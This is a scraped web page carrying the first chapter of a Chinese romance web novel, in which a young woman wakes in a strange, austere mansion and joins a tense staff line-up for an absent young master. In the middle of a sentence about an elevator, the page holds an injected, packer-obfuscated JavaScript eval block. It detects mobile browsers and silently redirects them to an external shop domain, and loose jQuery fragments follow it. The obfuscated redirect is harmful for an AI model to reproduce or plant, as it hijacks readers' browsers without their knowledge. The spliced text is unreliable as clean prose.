文趣网 > 其他小说 > 只能轻轻亲一下 > 1. 第一章
    沈白苏眨了眨酸胀的眼睛,渐渐完全睁开。

    她看了看四周,发现自己正躺在一张床上。床很柔很软,床单很滑,像是真丝的。

    周围有新风系统残留的那种酒店的味道,还掺着苹果酒和马鞭草……似乎还有点海盐味,乱七八糟混在一起竟然还有点好闻。

    头顶上方是挑高至少六米的天花板,天花板正中央,还悬挂着一个巨大的充满后现代感的金属吊灯,像一道闪电。

    沈白苏脑子里迅速闪过它掉下来正正好好插入自己胸腔的画面。吓得她一个踉跄,跳了起来,心脏猛地一沉。

    不知是起得太猛还是什么,沈白苏一阵晕眩,她摸了摸后脑勺,生疼,好像还鼓鼓的。

    她打量着四周,顺了几口气,努力让自己冷静下来。

    这都啥情况?

    自己怎么会在这儿?

    这里是哪儿?

    现在是哪朝哪代?

    这是穿越还是穿书?

    正愣神时,沈白苏手机响了。

    手机?

    手机!

    滴滴答滴答,是微信铃声没错!

    沈白苏迅速拿起手机,竟然连着wifi,来电是妈妈白小娥的视频邀请。

    “滋滋,你到了啊?”电话接起来,白小娥清脆的声音四散开,背景是阳光沙滩休闲椅,白小娥穿着泳衣带着太阳镜在晒日光浴。

    “什么?”沈白苏两眼一亮,貌似白小娥知道她在哪儿。

    白小娥自顾自地嘱咐说,“替我给你表外公问好啊,还有好好听苏周姐姐的话,别给人家添麻烦。”

    表外公,苏周姐姐……那自己现在在东城?可看看周遭,这怎么都不可能是苏周姐姐家啊。

    还没等沈白苏回答,白小娥已经要挂断视频了,“你好好玩,家里也没人,不用急着回来。”

    “你们去马尔代夫了?”沈白苏蹙着眉,没落实清楚现在状况前她不想把自己的境遇告诉白小娥让她担心。

    “是啊。”

    “哦……”

    白小娥低声笑了笑,“我告诉你个秘密,我偷偷看到沈乔买的钻戒了,里面的小卡片写着‘小娥,我爱你’,我猜他要向我求婚。”

    沈白苏翻了个白眼。

    沈乔是沈白苏她爸,亲爸。

    她爸妈结婚22年了,依然保持每周用三个安全套,看两场电影的蜜恋期状态,秒杀一众沈白苏身边的小情侣们。

    “行了,我不跟你说了,你乖乖的,有事儿微信视频啊,话费很贵。”说完白小娥不由分说就把电话挂断了。

    沈白苏“嗯”了一声,乖乖挂断了电话。

    半年前家里商量好白小娥今年生日的时候夫妻两人去马尔代夫补个蜜月旅行。虽说沈白苏知道这事儿,可此刻心里还是有一点被遗弃的失落感。

    不过这通视频电话后,让沈白苏确认了一件事儿,那就是,她没穿越也没穿书。

    可是这到底是哪儿啊?绝对不是苏周姐姐家。苏周家,沈白苏去过,她家住三楼,怎么可能有这挑高六七米的天花板。

    沈白苏迅速打开高德地图。

    然而跳出来的,却是让她选位置:国家,省份,城市……

    也就是说,她定位不到此刻的位置。

    高德不行换百度,百度不行换谷歌……换了一圈,依然没用。

    此刻她恨自己是当初为什么不买个华为mate70pro,说不定北斗定位能派上用场呢。

    沈白苏有些懊恼地放下手机,开始打量这间房。

    房间很大,足有她卧室的三倍那么大。落地窗框是灰色的,电动遮光帘也是灰色的。

    家具极少,仅一张悬浮式的白色长桌,一把金属椅子,一个嵌入墙面的黑色陈列架,上面零星摆着几件像艺术品的摆件。风格是那种很贵,还带着禅宗感觉的极简主义。

    她手摸着桌面,低头时余光瞟到了自己身上,惊讶的发现此刻自己正穿着一套白色丝质睡衣。

    这衣服……不是她的!

    那她的衣服在哪呢?

    谁给她换的衣服?

    沈白苏瞬间捂住胸口,心脏又开始突突地跳。

    她倒吸两口气,缓缓拽开领口,看向睡衣里面。

    真空!

    胸罩呢?

    内裤呢?

    那那那那……

    她快步走到床边,翻看被子下面的床单,又仔细检查着睡裤。

    倒是没什么异样的。

    可是,到底是谁给她换的衣服呢?!

    就在这时,规律的敲门声响起,不轻不重。

    沈白苏吓了一跳,猛地转身看向门口。门也是厚重的深灰色金属材质,没有门把,只有一块暗色的指纹识别面板。

    “尽快到前厅集合,”门外传来一个男人的声音,音调平稳,毫无波澜,有点像AI语音,却又能听出是人类,“九点半准时列队。”

    沈白苏完全不知道该怎么回答。

    “盥洗室在右侧,更换衣物已备好。”声落,门外脚步声响起,又渐渐远去。

    沈白苏凝神思索片刻,虽然不知道在哪里,可是当务之急要先出去看看才能搞清楚状况。

    她仔细回忆刚刚男人的话,他说要内换衣服去前厅集合,沈白苏又低头看了看手机,现在是九点十五分,那就只有十五分钟时间了

    沈白苏立马行动去来。

    可是用了两分钟,她才找到盥洗室的门锁,因为门是和墙面融为一体,不仔细看根本找不到。

    她迅速推开,里面是同样风格的全黑大理石墙面,所有卫浴设备都是嵌入式,看不到品牌logo。

    台面上,整齐叠放着一套衣物。沈白苏拿起来,抖开看了看,米白色的丝质衬衫,深灰色羊毛百褶裙,以及一件同色系的羊绒开衫。旁边还有未开封的贴身衣物和袜子,并且都是她的尺码。

    这整一套的禁欲系,不是她的风格。可沈白苏也没别的选择,三下五除二换上,衣服风格虽然不自在,却胜在面料极软极柔。

    可是她自己的衣服在哪呢?她隐约记得自己穿的是一件蓝色水手领连衣裙。

    算了,想也找不到,她迅速刷牙,洗脸。

    抬头看向眼前的镜子,幸好自己还是自己。

    九点二十五分时,敲门声再次响起。

    沈白苏惊了一下,迟疑片刻还是打开了门。

    门外站着一个男人,约莫五十岁,穿着合体的深灰色三件套西装,布料挺括,没有一丝褶皱。头发向后梳得一丝不苟,戴着一副无框眼镜。他的脸瘦削,颧骨略高,眼神平静地看着沈白苏,“担心你迷路,我带你去前厅。”

    说罢,他微微颔首,“请随我到这边,我是管家秦向之。”

    秦向之步履很快,沈白苏小跑着才将将跟上。

    “一会儿,澈少爷要过来,所以临时紧急列队安排,今天是你来的第一天,务必不要出差错。”

    他口中的澈少爷,是休远澈。

    “你说这里是哪?”沈白苏小声问。

    男人脚步笃然停下。

    沈白苏也跟着停下,差点没站稳。

    “在休远家,耳朵比嘴重要,听得多永远不会错,问得多一定是错。”

    沈白苏倒吸了口凉气,点了点头。

    男人继续大跨步往前走。

    走廊宽阔,天花板边缘是线型灯带,全是白炽灯,墙壁没有任何装饰画或摆设。

    他们经过转角时,一个穿着浅灰色制服、梳着光滑发髻的年轻女人正在挪动花瓶。女人看到他们,立刻停下动作,退到墙边,微微低头,目光垂落地面,直到他们走过,才继续工作。

    这个画面全程没有一点声音,像极了默片时代那种深闺贵族家里的场景。

    接着沈白苏跟随秦向之走进玻璃电梯,电梯开始缓缓

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837441|211503||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下降。

    沈白苏透过玻璃看到了这座府邸一隅的内部结构。

    层层叠叠,复杂曲折。

    最终,电梯停在一个挑高至少十米的大厅。

    大厅是深灰色调,地上铺着厚厚的深蓝色地毯,一侧是整面的落地玻璃,外面是一片巨大的草坪,和修剪成整齐造型的观赏绿植。

    此刻已经有二三十人分列两队站着,男女老少皆有,大多穿着统一整齐,三两两低声交谈,声音压得极低。

    秦管家将沈白苏引到靠近大厅中央的位置,示意她在此等候,便走向另一侧与一个穿着藏青色西装的男人低声交谈。

    沈白苏不安地站着,零星有些人的目光扫向她,又迅速移开。

    等待漫长而煎熬,更关键的是,沈白苏不知道自己在这里等什么。

    大厅里的人越来越多,气氛剑拔弩张。

    沈白苏找了个靠边的位置缩在队伍里,打量着周遭的人。

    他们看起来各不相同,但身上都毫无例外透着严谨和收敛的气质。

    九点三十分左右,大厅入口处的人群忽然骚动起来,随即迅速安静下来,并向两侧分开,让出一条通道。

    随着时间推移,气氛更紧张。之前还有的极低交谈地声音,此刻彻底消失。所有人,包括顾管家和其他几位看似管事的人,都垂手肃立,眼神统一地看向前方紧闭的玻璃门。

    九点四十五分。

    九点五十分。

    九点五十五分。

    九点五十九分。

    十点整。

    秒数归零的那一刻,沈白苏都跟着战栗了一下。

    接着大家不约而同地盯紧了那扇门。

    然而,门没有开。

    一秒,两秒,三秒……十秒过去了。

    门纹丝不动。

    沈白苏明显的感受到了所有人开始不安起来。有人开始深呼吸,有人动了动脚,有人摩挲着手。

    就在这时,一阵低沉、浑厚的震动声响起,类似一种超低音频率的共鸣,沈白苏觉得像自己耳鸣时候出现的那种声音。

    震动音持续有规律地一直响着。

    沈白苏不由自主地数着,太阳穴突突直跳,通常电影里这种BGM响起时,意味着一场巨大的暴风雨即将降临。

    嗡鸣持续响了一会儿。

    接近一分钟时,大厅侧方一扇不起眼的小门猛地被推开!

    一个半秃男人进来。

    男人穿着黑色制服、戴着白手套,右手拖着一个托盘。

    托盘像是银的,边缘有一圈花纹。

    他径直走到秦向之面前,停下,双手平稳地托起托盘,举至他胸前的高度。

    托盘中央,放着一个精致白色信封。

    所有人的目光投到信封上。

    大家紧张到屏住呼吸。

    秦向之缓缓伸出手,指尖有些颤,伸手拿起了那个信封。

    信封触感细腻,没有任何字样。

    秦向之翻过来,封口处盖着一个深蓝色的火漆印,图案是一个鹰。

    他小心地揭开火漆,抽出里面的信纸。

    同样质感的厚白纸。

    然而纸上什么都没有。

    秦向之前后左右,上下翻看了几遍,确确实实什么都没有。

    此刻他的脸色已经很不好了,可以用“煞白”来形容。

    见秦向之看完了信件,送信的男人用力吞咽了一下,对着大厅宣布:

    “澈……少……少爷……”

    他又喘了口气,目光扫过所有人,“澈少爷临时有紧急事务处理……”

    他停顿,汗珠从额角滑下。

    “今日……不到场了!”

    大厅里瞬间响起一片整齐的的倒抽冷气声。

    秦向之这一刻也才敢喘了口气。

    然后下一秒,另一侧的门突然被打开,众人又迅速站好让开通道。